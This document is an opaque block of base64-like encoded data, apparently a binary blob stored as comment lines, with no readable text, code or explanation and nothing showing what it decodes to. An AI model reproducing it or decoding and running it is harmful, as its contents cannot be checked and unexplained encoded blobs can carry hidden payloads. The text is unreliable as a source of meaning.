8WpH7sWJF7s8eUeQBbEiR69lqRW5gjYrcyIxe32vTzPfcD8ppnVT9q9ox5Qpu5/ZaNqZ/h/NBbwmd89R12qO82/nPXS6ve+/U8fb\r\n# z8/iIHWo5nn+k/0aTyyV4XCR7DzxXeZ+D3PPL7fLOr94H8P7+My+npXK64fX4cPX+O+2Qx+eZdL+hq47388c0fvppvJ5J33MYK52\r\n# fD6FpA58nAUoosKANfB6O28D7x+OcP8p6cMwGPk6ed8snl5ftHu37MZNIfwR9T2gK1fsv5WNjr1dpo+iR/39i1ci8V/dbZX6u4vs\r\n# 31zNyv2gfXY8r64RbPWdu4OP6gg2+ddC3DvrWQd866FsHvee1PO5zN/D5533fdxblV+8PqN+v4OvBgePDYx6q84rR94ePIP+NZM9\r\n# o+Q/ne/C+dd63zvvWed8671vn/3vX+f9t6/gh12n7v3c9PJJ1798yH33z0GMejrbu/ifOwwPt9xzH7n7i41l3ZPmY5/XJwfK5f99\r\n# A9mOR0o/03M5tXzySfO6/V1RDdd+7d4NnXL0v7b2OqHLv7wc8QuVVfy9T7BiZhxu99qvDzafWq7aP+1n9Xb1u+O82H1Y+u3BAfvV\r\n# 7DPLvouVx8cwG7rcWxQ4/9uaGkXXVO7+sv4XsPaJ8+D+NxovzCj6P3e0b/l7MsL1j/15M/Xu5R5pPta+D5ucHZN8X1I4fNri1A/b\r\n# 9ukEY1W9vUnlxIy8ftPHAfWF4nMO/b5J/eX6/35Yf9k3cKBxWe48036H8ErXR0y8nKHb9d+3fvnOY7xzmO4f9hus+5juH+c5h/zn\r\n# r+CHXabvvHPZ/aR76zmG+c5jvHOaWj/nOYf9t57DDui60j52u+jVp4+Hv0785P+rn+7uW9ncd7e9+tL/7/8vlRl9HtKTnv+t6x3d\r\n# u9Z1bfefW33CdzHznVt+59T9nHT/kOm33nVv/L81D37nVd271nVvd8jHfudV3bvVM/790blX3XfffVaq/C1Z/78nngWcoHCSuvl/\r\n# /Dxv5fj2d6vH+PZ86z3MofR69R0TV477uHI78StJz5UZPPd7vtXC381B2/dvtsB94HXHNRp/f/3/6XX1Pu2c9B8Z9/fOf3T9XpY2\r\n# Eglv80RN5fMJJXL8cH24fJDeSfXfQOrtgI78eWkX7agPZ8Qa15w3Kr+iH3fycq2HrTuF2v4N0uaaj4tlvCvdQ+RMekEMN+2Cs+IU\r\n# 8fx/Fv97I0yeSnkuqeLzJyePvlPD4AOW/5N6Dp88s9mzHXZsPHq69m5fneo5crsa/3yj8rvrGih+pPnncyHEuPzDu7Y+8raOHv1L\r\n# 71JBtGq1egc2i+tW4Wt5bbqG4bYy4t97DDdX6JpUKbuGIP1S5d7tV+zSbhFHj3vnHslcNT6L05Lv5/Puri1+v3k/zuMk1tpxhHp+\r\n# slNcpetR88jmap+McTfW61yPH4+51DzWkR6R8wnA57Saerr13dPvVsPk6HprID88t5OVOCODrhnUTX3cixvDTWP7yjj+ZzcfliZu\r\n# 4vZtOOTw98np2OPPcsz3c33I8lfyQQfafUHxk7VDze/fDlgU8fiq15/UFvF87FvB+PUeR+7E2WseOLL8/9WvAAf16uHZwfbpD1u+\r\n# Zz4/q9T+gXtU/KSdx/76/nOtR9Xv7MYf8ftmm0e2+eAbXs04ZByK7tOpgcs/5Mppd3uEHJQdPV8M/kn3e+Q9YLw4x/g/lF3W/upr\r\n# 0WCn03met5LfZlP6HBzzDsdLfeZDCkoOH3L8Cu2XTyDyX41c+5mmXZ30j8eB7eDm+n4vswvt4/xTfw/snhuq5836e76z7uT94ulZ\r\n# J17J45IzHaIvHCA9jenwC2eksmF3GLOwmfG7D5352DNutPQZhONunDUdoh9yOMIJ9o42ALAL/PpY9zU6AJJ7149OHT3bAFMSnsHq\r\n# WgM8pyieCTWf36qaj/HSUmc5MwnQWLNwG+Z34lOCzkF3s9xi7zO9xVhowS4hgc4QW/Vxhp/7PQpf+FqFVXyjs0mMpDbhXGPK/Vxj\r\n# 0dwmZfouVzwy/JQiXKp8cvwqElconz69KKPBbL8z23yh86LcF4VZ8GvB5GvJGhNvxeR6fF/BpFgb9XkX4Bj5v4tOOT6ewFZ9C/z3\r\n# 4916EH+HzsVCKT6F/Dz6fCQvxKfTvRdiL8HPo+AJ5v0T8S8T78Pka8f34fIvPgLDT/wd8fsJHqxn002lm+1vwseITpSkLSNVc5Z+\r\n# mudb/dI3WkKnp15+Bz5maXv1ZGmaYpunST9e068/RNOjP1TTrz9MM6c/XNOlnaFr0MzV79dmaRv1Fmj79xZoefLr1l2h26nM0rfp\r\n# LNbv0lyHtcsgvhzwXef6ItDz8exbSr0J6qUYyPI48LtRVgTqXI08V6lyBOldqBvTVmkG9SYyXzKIDn3gpSMyQgsWp+GRIVnGaZBO\r\n# z8JkmhYgz8MnCZ5o0TszGZwY+WfhMk44Sc/DJxmcGPln4TJPGi3nSBDEfnzzpaHE2Pvn45ElhYgE+s/HJxydPmijOwacAn9n45OO\r\n# TJ9nFIilCLMGnSIoUS/EpwadImiRWSceLddIJ4lbpJLFRiheb8GmUpojN+DTh0ygliC34NOPThE+j5BBbpSR87hQ/1d4p7sbnflY\r\n# s3oaPHD6JTwQ+09ldkN0F2V2Q3QXZXZDdLZ4i3A3Z3eK1AXdDdjdk9yDfPZDdg3z3QHYPZPMhmw/ZfMjmQzYfsvtQ132Q3ScuCbg\r\n# Psvsge1B8L+BByB4U9yGMQDidLUDZBZAtQNkFkC2A7BHIHoHsEcgegewRyB6F7FHIHoXsUcgehWwRZIsgWwTZIsgWQeaCzAWZCzI\r\n# XZC7IlkO2HLLlkC2HbDlkqyFbDdlqyFZDthqyOthXB1kd7KuDrA6yDeI43Qb8ewP+vVk8TrcZ6ZvFjYbNkG2GbAtkWyDbAtkWyLZ\r\n# Atk1Mxud+fNLwicBnOnsSsichexKyJyF7ErJnIXsWsmchexayZyHbLl6h2w7ZdvFJw3bItkP2HPI9B9lzyPccZM9B1iyO82uGrFl\r\n# 8xtAMWTNkL4qRfi9C9qK42fAiZC9CtkO8QLcDsh3ixQgjEE5nr4n7hdfxaUVdrUhrRV2tSGtF2pviebo3IXtTPNv/TcjehKwN9bd\r\n# B1ob62yBrg+wdyN6B7B3I3oHsHcjehexdyN6F7F3I3oWsXdysa4esXdxuaIesHbIO5OuArAP5OiDrgKxL3GHYA/keyPdAvgfyPZC\r\n# /Bxvfg+w92PgeZO9B9j5sfB+y92Hj+5C9D1m3eIP/XvFufO5ne8V3DHsh3wv5PnGjbh9k+8Tdhn2Q7YPsY5T/GLKPUf5jyD6G7FO\r\n# M9U8h+xRj/VPIPoXsM3Gd7jPIPhM/NHwG2WeQ9YqR/r2Q9YoxCCMQTmdfwO4vIPsCdn8B2ReQfSnu8P8Ssi/FTw1fQvYlZH3I1wd\r\n# ZH/L1QdYH2Vfie7qvIPtKfN3/K8i+gmw/8u2HbD/y7YdsP2QD4mrdAGQD4uuGAcgGIPsOvvkOsu/gm+8g+w6y7+GD7yH7Hj74HrL\r\n# vIRuEDwYhG4QPBiEbhCxWWxE0SfurQWIBLzC2Y6mNwrDh+GWFAnu1wsauRPhmRRirfomxqJowltfCIJcojFbyz6q0sXMR/3HpeCo\r\n# fR/E4ik9WQr+KOCoXx57dI+uLY5e9yNjk9gx2tVLPFHYzQnFjBhs/S2BDNaex2p1y+emkZzzbZxRYQvtMVgU9moo2Fg67UtqnsxK\r\n# UO6V9jzC1mbGr13L5K09MV/5a3intlzIu5/ky22exhxGeumG8ItdUXM+WIT69/Xq28h+Mndc+ly1ezlg2wunNcjiPrUH6pe2Z1K4\r\n# 9wsRTGcsrm8cWU/wZpD9dy+vNQz7erixql0OJX1iZTfHHqH1ZFFayX3tlO2rYDqRfi3bsRPjkug1sF8I/IX5dB2Nr1+0R9iJe2L6\r\n# NTUU4r/1Ztu9rxu5pryT/cvlDqJ/7K5/szWWXIFzYXkB2FJIdbawP4ZJ2iewtHpY/o8iLyb5M6jdef1U7D2tQ/08I17V/xDS3CrC\r\n# jl21A+9evrMKMZuzOMhdbDL2fV9azY1+Uy9djBjL2QFkrk5B/W3s7+xHxh8rq2dFIf7OiiZ2EsKatiSUjfK49TPjpCcaWlYUJ3yP\r\n# c/niYsD1PYN/sGqBxFy3IYWBlnEDjTpBwVfzW43HCNqdcLk4IRbzrcQelO4TjEd/7OMppGXu8LEOQ7Xix3SFEQH5dmUP4UNEfLQR\r\n# p5fK5pL+XpaJd/1weJojI9zLs2Il8a14qELgdhUr4ZMUAtfdZFgq9b7T3kb+jBR5OITuyNFdtluvvZS2QZyzL1cjyX5bmarZBblj\r\n# UyzoUeQHJC0ieqpTvhp9/RPofl7ko3aXp2yz71aX5UWlHvYbXU6/RbmHMuqhec/dVAjO0NWi4vb1Mt4Ox+ct6mVEJm0hPk1LP42V\r\n# NGjPKhS3qIz19molbZL/2abRX40q9bWBYzziU3wY9E5VwiPQMkZ4hTQzKJSyKFrmeaFHWczLiwdAT2+YQVT2TUf7TZRmiA+kXL8o\r\n# Q5f4+B2Ek8iW2ZXvkm7y8lPSViqco+koP0OdQ8pWL3J5ykdtTLs5E/msXlYtFCG9dVE966kXyk5h5taefMslP53E/kb4m0tckcj+\r\n# 1kp5WUb5Ldl1Zq5jtoWdA5POwW1ysjPM+kc/HDA0fF0Min3eSNgd6Nej/q1DfrOW8n25A/QUIb1kuaWdQ+p+V+JHrnU96H/LS96g\r\n# S9y53Go1XVf+InhWkp85LzxYlXqql/tHKp9frylS7SrVXevl3v+JXF+V3UX61XWo5l/Zmr3I9KBe5rErL+6NKy/ujnvTUa6k/tWV\r\n# e5X7m/Ujlmqhck5b6kcq3aqkftRUe5bu1G5Fv+aJurTw+H0e4Bulnt/VpVf3XY53QrpwucPt7lacLq5YPaBtQbvOiAaXcWoRPotz\r\n# MNq2Ol3uWTbxVXu97WQjyN8GvMQj3LJd03E5J17JFtlPS7VbCMEU+E/kTkO8fy8N08vr0MdaF0xBKVb3sbCXMpPKZOt7OTN2+LfJ\r\n# 6W6AL2MrYS4sKdLI9jQhfhj05bYU6tR05KH93VbnOouQrV/K9ibDTI1+LEr5T4T1uWjXyeHkL6fnww+SaHiXfqxUtOnkfcdRU6Xh\r\n# 6n47vK71sFuprqbL5hSn12fzk+roQfu5ll5zPvIKHeSvy/Wif87se7fp4Ebc7oyrf7yeUu7Kt1M99napcxsttX1FP5eqVct8uqlf\r\n# yF7S1U361Pb3sFeSftKqXGRDOWK62T+sfAzvNLq2/bKeIMCAf+3Gb5O8+DsJWevtlwI/vD2H+vP297BbZ3pW9ynXDHvT7PIQ5iJc\r\n# pYZY/778sf95/Wf4nb5XXeW+9VeTvEburUL4YeuTrNtfKAn/e3gJ/eT9E//vLd4UewDzj13WF/nw/LvA/Gu2Iqqkani+ynhtW8n2\r\n# 9caWaz7t+h47v2y6qx+V/PuwMdU1hccj/efsUdsqt8nVElf/FW+V5WaX4LcpV5Z/uVZ/c/shlLv/jIC9p6/Zz9+fXK1pIf4uiP86\r\n# FEPkWtLWS37spvcef7+vdSntPc3X75yFfTVvpcP/8FfreRrt2vCSvV0Ne5Yao3JD/DV7l1gYo610AzcuAq2BHDMbdO9Azc1WGIv8\r\n# e4/k9r3gf4g+tCgs4HX5KhZ5vPeJZAbz+XAoLAvi8KqQwK8CZzNjZruKA21HfTQhl/12DMP4agT3VVhrA7csKuB7pOa6sgH2we0O\r\n# bi+TlAby/qgJ4fxUGyPOuqDI3gM+/4oB7Se95ir6sgDmkZ0jRUxhwNvxSBP3jrpHjxQGPIL0Y+QsQ/1tbbYDqn9AWPp61CDdi3kR\r\n# SfDLCfataAiqU+d2i2P+QqyXgoWs857ecL6a6O+Dg64q6fnRTO3pZMsJ7qjP03H8Z+o2oZ5UrQy/P7w0I1yC+GGEN6ptcY6PrhAx\r\n# 9PeKvtUl69+sLEfMwHfo+ry4mfcWKnqddxaS3mPQV6/+K8u+01VL5dsbtHtLzUDJE4jryiTKtgeuRDLGI7yhr1Z/RIu+n9Yyvi0N\r\n# 63g6tgffHkP5C+Ht/+5Be3Ufk68WEZUP6K2+V50u0gY+/aMNzsKPDFW2Qr2dedjlI7iC5ZJD9l1PTpvxV7p/a5wp/Rhiwfp7Azwu\r\n# nUThfmPw8Y0JHG5unpM8SrnuZsc6a+UwOf12XaXhQmb+ZBtetcj9kGrjd+dSuXAPvpwIDnW+Edci3dVMb24FQg/jrSvwx4X2Erzy\r\n# RT+3MN/B9i18v+3cUGvi+Vmyg62qDLA+EnOcrpfpqhu3+GOkTOhaocTrnlZI95WTPfEG4DX7r2CP0Kee08ewH5VxZSnbw+id1VNK\r\n# 5qU05h6Qg/1Eod2rHNroOmi+civNhZsd8QT53ndPB/Zrd8SzVn2ng5xguv7yDn6+xTjBufyHZP51FQO+v6wqp/heFeMRnyXpxXr2\r\n# uo01IQzy7/UXhHEW+R9F/I9IvQnztunnsOoS3dMxjyZ8z9gmdj39BOA9y+Twqx59Zx/s1isr/svQj4YHb5H78SHAh/GTpNrYeYVH\r\n# HY8KW23j/NCG0bV4g7ER4T8ePNF5+FHYhfj/iexGWd+g1vL1zheU4J4du/lEJH++oJb/Xk99bDXz8cn9UdPRQejel95E/+sgPfdT\r\n# PA9T/QwY+D2xGuj9htBpwnbAgjOLq+Spf4PrCjFyPzcjXK5uxfo9yP8PI502YkduTSv1lM36O9lR3RBufRL5r1tmM/L6EjfLxema\r\n# uCzPyesKMdB/EWI18l0PehfBuhMJ7chhH+W3GCMQfR3gSQmNFtFK+vmMmnae2sW9Qb2NHtHJeLKrcxn5G/IWObUw+97+CUHs72tM\r\n# xV3NFP2PtHddr3oc9V9XP05hul/t3nuYoJZyv6GOrPxIiEP8c/Xs8wryySpbeLdtfyRIQ/2XpBmXevdfxonAK4p92bBDkdr7XMaT\r\n# 4+VuE3F9DBtU++T4C292vwdGenbGhX/MFwnM2vKY5D+X9dr+myb5dHj+vaa5DuGPp9azg9pH7J0G7t7EixEMRzkcYjvAhhDG7xyv\r\n# zStw4Xjnfy/eLHof8grVD1J9D1G/z2L6vGCvZNI/1Ixyqmcd+VeJ7NKuR/4Td81jo13L5uWwb4qm792ueRXjq7h81L9wuj+/PNW8\r\n# gPGu3oJwfzt2tF+V5qakIVtb9bJTn9c1ju5Hvst3BYo/croq5mnGox7Y5WPwKcbY6WDyzjykhK8I8RL6gIi4/jsJMCq9UwvG0r8x\r\n# jNyM+G/U8oIRDNM60Eh8HksTH65BRtu+tyv00n3g7bkY9T8KO23dHiPK4vQuhnO/qtXM1VUXyPNWLTxXJ/a8Xr+/i8+t5xO/d3cZ\r\n# 4PEKU/Zi9W5L4/Ztg8dUipX1CN8Iy2CV/+2moht+vehT1rXhZ9s9+zVeQL97N5St3T1Hasw7pCX28H74rEhS/6efxMAzhE7vbNPL\r\n# 9Mr+KNs3eV7hfT4T8pi1cz1PQlzZPUO7XnYrw2d38vlro5jbl/tEL6D9ZntLeplyv3oX8ZyHesjtVvPzvyn0+jZxfXu8FjK83ds8\r\n# XjAgL2+cL5yLfrt11orwuf7dpupiL+O7de5h6H1Bed7p307jfPVOUr/e+3n2ayO8fzhXmIv/A7pka2W9PrjtNvAPxn6H/kXnyOjt\r\n# fqEUodH4k8HbN1PD7kZeKvL94+/w7r1f6z9zpkORwz7sZFGZJ8jry9tIsqSlQYB+/28Ya58n9meqxn4R2zhVehPyYzp1i0X6Uq18\r\n# gyPv9Z2W5Et2/k/g5eJZSb3Tn9UpYuW2u+Jbi15mq3+k+xB7FnuM792i6kC7Pm555cn/v0fyIMLGzTRn/aZ3c/6mvtDHNHQI7neJ\r\n# ndc7U7Ma69dK6mZqF6Nfn1s0nvbkSv0+YT+M3n8ZXrqSm8/WXj4dzO3m/ndvJ7xde2DlfkFDPpRTu2s3tuKJzPt2HLSA9hZK6T8r\r\n# 3b/M752rCkP+GzgXKfdY5nZV0H3gB9cNjYuIdsh0LRLUfZfkdaIdsxxvrKkXZjhs6CyS+HxRS+Jhwyh3yfCrSfvMjzvWby6l9Lmq\r\n# fi9rXxs6+Q1DGpTzPKjfycXxvZ434ymTMp84N4kV3yPOrRtzXJ++zNeLViD/auU28GeFihPPvkM/3c4VFSn1VEt9HiiW+vxVLfN8\r\n# pJP8VS3wdLKX0UkovoPRSSi8mP5VS+Jq4CvqXdzZJ/Pqzico3UfkmKldO+Xn4C0Ku9zHN0yhf08nbm9LB16N1nfw+87bONsWv2zv\r\n# 59dZLnS2Ser0kl9NUtEj8OraV5K0Uf5a9gvR3Ovl1Vndn93A6X//ayc4WCtupXPdwyPP1kJ19VL5vOE73iyR+/dBD6e0U9pC8XXo\r\n# XdnyC9n14h7zu8Hbs79Sa6PqcQq2J+0lr4vklEx8X0SY+LuaKfB2INvHxoTVxu+OovMPE/ZpB8ThKd5j4PG5jVuhjXQ4TPSeh+hw\r\n# m3p4Myp9B8m10veIy8PKZpDeT8mdSfbOERwYZ03ftoflUSPkLDV/cIV8HFNL1WKHhW8SjtxUa6DkFtSuL2jNf+CfSg7rahIl3yte\r\n# huaQ/l+rLNXF/5pMdBRTyeRa6uZDy5Zt4/+WTH4sVPx7VVarUN74tn9pZSvXmm/g+yc+Ne5a7TOq57AXlfvgUFgt7umvqTfx6rIH\r\n# snkLrAD8XYH9X1r87a/j6fW37PE38nfy66b6X5fbPUtIfWN9CdreQvT+K6nV02p2yv1opvZXS2yneTWEf2dFDdrRTfw2RfGBYTvd\r\n# pKWwnf2jN3B+SmftDMnM/dFO6jdLDKD2M0qPNtE6SvmgzX8/qjby/48x0P4T82012tavjkMo7zPQcz0zP4czc3ozhetR03t+ZZt6\r\n# uLMqXq45vM7+vNV7L+2G89qw75fUgm+rJJj2zlOveW7bkmrndBaQvn/QVm/m6Va62z8z7o9jM7S408/ZV0TnCReX4PhHVFUbngQb\r\n# SW0/ppaSvlPSUmrk/msiubqq3e7ge6i/KV0xhIeXvIX095Pcekg+QfIDi/ZpPXoM/NvDwlzoejkO8DtfTEzdoA9XrgJw75edp84V\r\n# rEE7umi8UIozv4vliNhSY3PWZN0hMXUfkdeysTon0SIF8nZQCub1SIJ9PYYE0TgL5uJAC+fiKC+TjyxHIx5cjkPe7FEjnrkB+7rc\r\n# F8nOtLZCf+zMpPYvqzaL6sofjPD17OOTpmRRmUL6M4TjPl0t2ZgZyv+bSupsfSNcbZF8m2V9I7SkO5OeuTNKbOxxyv5VTvDywBH6\r\n# dua48kI/nyVr39euXpQ10znNRfQW0zlVRPbUUNlB9PES5QL6fN1B9DaS/nMZTOY2fdmpnN4Xt1D99ZF8flW8nv3RTOBRI6wnZJQX\r\n# xuDaIx5uofBPZ00R6msifrSRvoXwtlG4L4u1pCuT3WcIoHh1E+1IQ3U8Kon2G6s2gerOGy6vjUb5flPrKfGEB/JzUFUbXudlBajg\r\n# V17U/PJ4dJH8Lvx9hOuJfPq4V+P287KAvlOeqNkHeH1+oGGI8LAiS7xemLi0IirpFWXeo3sIg/typIChBkRcG8edTpUH8+Wo51Vs\r\n# b9H2e/H2G2qDZynPShqC7lOekNWwl7EzrqmG9++T2NgQtVuQNQZGz5PNNQ9BG5bmrXnl+m1vZEPQ84oGLHlOek1+wtiGojPT9msf\r\n# z03gI4s9rG4KaoOfCyhaqr4X0t5D+FtLfQnpbSF8L6WshfS2kr4X0dZO+btLXHfQuhT1K+W7S0x3En2N1k57uoD6S/0j5ub6BIP6\r\n# 8rCeI94MUzPVLwYsp5PZKwe9SfKPiX/X+ixQs2x+zSL0PIwVrledp2mC+L0jB3B4pmLdLCqb7YsH8uYYUzJ+/ScGvXCXbEx3Mnze\r\n# r4yKL7Mkie7LIniyyJ8vLniwve7IUfQmLMsieLMWeExdlkT1ZZE8W2ZMVzJ9bZwXL/jmmLT+YP7fODub2FAbT/hTMn1NXBZ/ikd5\r\n# H9vaRvX3ByVfL9fSR3X1kd5+X3X1edvcFl2+R/dan6L92USvZX69X8y+FfP6iuGA1//XKc+1uytentPOqRX3Uzj5qZx+1sy+YPw/\r\n# vC+bPw/uU9p7WNhTsNR4sNB4sNB4sNB4sNB4sXuPB4jUeLF7jwULjwULjwULjwULjwULjwcLHQ5iFj+M4C38+nEFhNtmVTXZlk12\r\n# 5FlpvvOxS7cm18O83IYT81K5sxd4Fi7IsPD2b7Muy8P0mm+zMJjuzyc5ssq/A4umvYrKrmOwqJruKvewptqzeIvupmPyj2qf6qZj\r\n# sKKb6i6n+Yqq/mPxUTHaUk59c1H6XhT+nrqd4vYU/f24l+1rJvlayr9XCx2mr5W9b3O1s9erPVrKr1fK2kq+V7Gsl+1otLSTfTSG\r\n# 3r5vq7aZ6u6nebgt/Lsnv8+I6zPLrFvk+b7elH+E3yOfpt24ve9T7uzYjnRfJvm6yq5vs6ia/dVv4c/BusquH/NNj4c/DtVY6B1r\r\n# 5c+8wiodZ+XPpXCt/3pxl5c9xHFbeX+VW/jy5mOT5JK+i8lVW/ry4xUr7gZX2AyvtB1bPdrZY+fhoscYrz31brLxdartbrLRPWGm\r\n# fsPL2tVhPpvy8fe1W7t92K3/uq37Pqs/Kn9N2k50DZOeAlT+fDbPx56xaG0932Phz0Wgb35czveLZNpqPNpqPtryt7v2UbeP2Z9t\r\n# oHtn489Ns28Z8ZR7Z+HPOXBvvz1wbv54ttnG7im38uaf63Ez93lgVpVfZ+HPFPht/Ptdn48/rWm18XjYo+ibX9Nn4c8FuapcUwp/\r\n# vSSG8nBQyerkByp8RwtuZEbKYQt5/GYqel10ZIfz525CyTk/vygiRx+telyNE9sNFXZkh6vM/bn9miByOb4sLUfXzddsRwtefjBD\r\n# ezxkhdF8hpIjq4eu1w8DtcRi4HVo61zsMcr3/dGWF0P1mPfenwyDr/w5yrt9h4Pr3KNdvn9XOY1txXTSrax4zfAC9XTO1/PrnUi3\r\n# /vmOmxMdnLultovNYPsXzTVSPme5zhfBzRHEI9VcIPZ+j/JnqdXeI+rzuBdR/Y9ceYb3yPEurXleTn7KpvmzK30fnvRaKhzF+fhg\r\n# ieS3JC+i80x7Czzvt1P5Sur5upXztdJ3cHaie57g/uym9m8oN0DlxgM6lBXS9WSee9w/GvtrE70MUdu3R7ER77uzKovvC19M5uSf\r\n# ktr8xdtNDPSH8PjG/j/3ppp4Qnq8nhN83VtP5fbR7u/h97PIu7Thap8Zx/2jHydfxcpyfP7TjuH3acdw+7Th+H0g7rgv2PN4lUXl\r\n# pHJ9v0jg6N47j/TePvic1n85J+5Xr+cquBWT/YxRWUlhD4QYKt1H4LIUvUvgahW1KyFbvIf0fKWF11+eUvl8J13f9qISbuwQdz6e\r\n# nMJjC8UrY2MXzv9AVocRbuibreHwKhamU/zQlfL1rOsVnUnipjtc7i743db0StnXNpfRWs7xuRtWo69lj7MQnRnsOObxv0jmpWDN\r\n# 6unrdpl7PtVC8IZiu79jo8jh6flpA4zGO5mMhxXNpPtVTPJviTRTPongAK2cPWwLYQrYQdLHF4FZWBTawGrCRrQO1wiYwQNgKVgh\r\n# Pg1XCdrBOeAGsF1rkUsJrcinhLbBbeBfcK3SBPcIHYK+wD+wTPgP7hT5wQNgPDgrfg0PCz6CkYdYAFqTRgTaNAQzVBIJhGhto14w\r\n# HozXHgJM0UWCcZhIYrzkBdGoSwAxNCjhVkwFO05wGZmnOtJpZu+Ycq551afIh6dZcDw5qbgKHNLeATCwCteJdYIB4r2yD+KBsg1g\r\n# u2yA+JtsgLpFtEJfLNojVsg3iWtkGcSOYLW4Bc8QGMFd8FswT/wbmiy+Bs8WdYIH4JjhHfAcsFDvBIrEbLBY/AkvET8FS8UuwTOw\r\n# Hy8XvwBbxJ3Cn+E+wVdTaYJtWD9q0ZjBUawXDtKFgtHYiOEkbCcZpY8F4bRzo0E4BndpkMEObDk7VTgUztWeA07Rng1na88EZWuz\r\n# KLFt7KZijvQLM1V4N5mlng/naG8HZ2j+DBdrbwTla7MqsUDsfLNI+ABZrHwbLtAvBcu1icKF2GbhVuwps0NaCjdoNYJN2M9isfQp\r\n# s0TaCO7XPg63aHeAu7atgu7YV7NK2gd3a3eBe7ftgj3Yv2Kv9BOzTfgH2a/8BDmgHwEHtj+CQ9leQ6cQQ9KwuAAzQmUBJZwGDdEe\r\n# BNl0YGKqLAO26GDBadzw4SRcPxumSwHhdGujQnQo6dZlghm46OFV3HpipuxCcpssBs3R/BGforgKzddeBOboCMFc3F8zT3Qbm6+4\r\n# EZ+tKwALd/eAc3UNgoe5RsEjnAot1lWCJbiVYqlsDlunqwHLdE+BC3ZOgS/dXsELXBFbpXgSrda+Atbo3wDrdLrBe1wFu1b0HNuj\r\n# +DjbqsKuwJt3nYLPua7BF9y24UzcItup+AXfpNOPgeZ0/2KXD7sC6dcHgXt04sEd39Dh/VuhnB4v8osBivxiwxG8yWOoXB5b5nQS\r\n# W+yWAC/2SQJefE6zwSwer/E4Bd/mdC7b7zQC7/C4Eu/0uBvf6XTrOj8X5Xz1Ow871XyavSAHXot6KgD+BVQFzwOqAW8HagDvAuoB\r\n# 7wPqAUrBIvwgs1leAJfoVYKl+NVimXw8u1NeDLv02WZv+GVmb/jlZj75Z1qN/Wdajfx3cqn8bbNC3g436PWCT/kOwWf8x2KLvBVv\r\n# 1X4G79N/IvtL/IPtKPyT7Si8cBV/p/cAevRHs1QeBffoQcEA/ARzUh4PMEA1qDZPBAMOJoGRIBIMMTjDUcDIYZjgdtBvOAqMNWWC\r\n# cYSYYb7gYdBguB52GPDDDcA041XADmGm4GZxmKASzDPPAGYa7wWzDfWCOoewoPcs1PALmGR4H8w1LIZ9tqAILDDXgHMM6yAsNm/D\r\n# vYsNWsMTwNFhq2A6WGV4Ayw0t4ELDa6DL8BZYYXgXrDJ0gdWGD8Bawz6wzvAZWG/oA7ca9oMNhu/BRsPPYJOBhcK3Bh3YYjCAOw2\r\n# BYKvBBu4yjAfbDceAXYYosNswCdxrOAHsMSSAvYYUsM+QAfYbTgMHDGeCg4ZzwCHDDJAZLwK1xsvAAOOVoGTMB4OM14M2401gqPE\r\n# WMMxYBNqNd4HRxnvBScYHwThjORhvfAx0GJeATuNyMMNYDU41rgUzjRvBacYtYJaxAZxhfBbMNv4NzDG+BOYad4J5xjfBfOM74Gx\r\n# jJ1hg7AbnGD8CC42fgkXGL8FiYz9YYvwOLDX+BJYZ/wmWG7Xj4X+jHnQZzWCF0QpWGUPBauNEsNYYCdYZY8F6Yxy41TgFbDAmg43\r\n# GdLDJOBVsNp4BthjPBncazwdbjdngLuOlYLvxCrDLeDXYbZwN7jXeCPYY/wz2Gm8H+4zFYL9xPjhgfAAcND4MDhkXgkxaDGqlZWC\r\n# AtAqUpFowSNoA2qTNYKj0FBgmNYJ26XkwWtoBTpJeBeOkVjBeagMd0m7QKb0PZkh7wanSJ2Cm9AU4TfoHmCUNgDOkH8Ec6VcwVxI\r\n# nwPNSAJgvmcDZkgUskI4C50hhYKEUARZJMWCxdDxYIsWDpVISWCalgeXSqeBCKRN0SdPBCuk8sEq6EKyWcsBa6Y9gnXQVWC9dB26\r\n# VCsAGaS7YKN0GNkl3gs1SCdgi3Q/ulB4CW6VHwV2SC2yXKsEuaSXYLa0B90p1YI/0BNgrPQn2SX8F+6UmcEB6ERyUXgGHpDdAZto\r\n# Fak0dYIDpPVAy/R0MMvWANtPnYKjpazDM9C1oNw2C0aZfwEkmzdHwvMkfjDdJoMMUDDpN48AM09HgVJMdzDQdC04zHQdmmU4CZ5g\r\n# cYLYpFcwxnQLmmv4A5pmmgfmmc8HZpgvAAtMl4BxTLlhomgUWma4Fi01/AktMc8BS061gmekOsNx0D7jQVAq6TAvACtNfwCrTIrD\r\n# aVAHWmlaAdabVYL1pPbjVVA82mLaBjaZnwCbTc2CzqRlsMb0M7jS9Draa3gZ3mdrBdtMesMv0Idht+hjca+oFe0xfgb2mb8A+0w9\r\n# gv2kIHDAJYfC/yQ8cMhlBZg4CteYQMMA8AZTM4WCQORq0mSeDoeYTwTBzImg3O8FJ5pPBOPPpYLz5LNBhzgKd5plghvlicKr5cjD\r\n# TnAdOM18DZplvALPNN4M55kIw1zwPzDPfDeab7wMLzGXgHPMjYKH5cbDIvBQsNleBJeYasNS8DiwzbwLLzVtBl/lpsMK8HawyvwB\r\n# Wm1vAWvNrYJ35LbDe/C7YYO4CG80fgE3mfWCz+TOwxdwH7jTvB1vN34O7zD+DXWY2Eb416yb6sx6zAew1m8A+cxA4YLaCg+Zx4JB\r\n# 5PMgCw0BtYDgYEBgJSoHHgkGBk0Bb4PHQFhZ4ImgPTASjA53gpMCTwbjA08H4wLMmYncLzAKLAmeCxYEXgyWBl4OlgXlgWeA1YHn\r\n# gDchfHHQzWBJUCJYGzQPLgu4Gp1ruAzMtZeA0yyNgluVxcIZlKZhtqQJzLDVgrmUdmGfZBOZbtoKzLU+DBZbt4BzLC2ChpQUssrw\r\n# m12h5S67R8q5co6VLrtHyAVhu2QcutHwGuix9YIVlP1hl+R6stvwM1lrYMegRiw6stxjArZZAsMFiAxst48EmyzFgsyUKbLFMAnd\r\n# aTgBbLQngLksK2G7JALssp4HdljPBvZZzwB7LDLDXchHYZ7kM7LdcCQ5Y8sFBy/XgkOUmkFlvAbXWIjDAehcoWe8Fg6wPgjZrORh\r\n# qfQwMsy4B7dblYLS1GpxkXQvGWTeC8dYtoMPaADqtz4IZ1r+BU60vgZnWneA065tglvUdcIa1E8y2doM51o/AXOunYJ71SzDf2g/\r\n# Otn4HFlh/AudY/wkWWrXh8L9VDxZbzWCJ1QqWWkPBMutEsNwaCS60xoIuaxxYYZ0CVlmTwWprOlhrnQrWWc8A661ng1ut54MN1my\r\n# w0Xop2GS9Amy2Xg22WGeDO603gq3WP4O7rLeD7dZisMs6H+y2PgDutT4M9lgXgn3WxWC/dRk4YF0FDllrQWbbAGptm0HJ9hQYZGs\r\n# 